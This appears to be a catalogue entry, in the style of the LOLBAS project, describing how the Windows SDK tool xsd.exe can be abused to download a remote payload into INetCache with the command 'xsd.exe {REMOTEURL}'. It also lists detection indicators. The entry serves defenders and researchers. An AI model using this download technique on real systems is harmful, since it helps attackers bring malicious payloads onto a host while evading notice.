xsd.exe

type: OtherMSBinaries
XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

Full path

C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\bin\NETFX <version> Tools\xsd.exe

Commands

  1. DownloadUser T1105

    It will download a remote payload and place it in INetCache

    xsd.exe {REMOTEURL}

    Downloads payload from remote server

    os: Windows

    Download: INetCache

Detection

  • IOCURL on a xsd.exe command line
  • IOCxsd.exe making unexpected network connections or DNS requests

acknowledgement: Avihay Eldad @AvihayEldad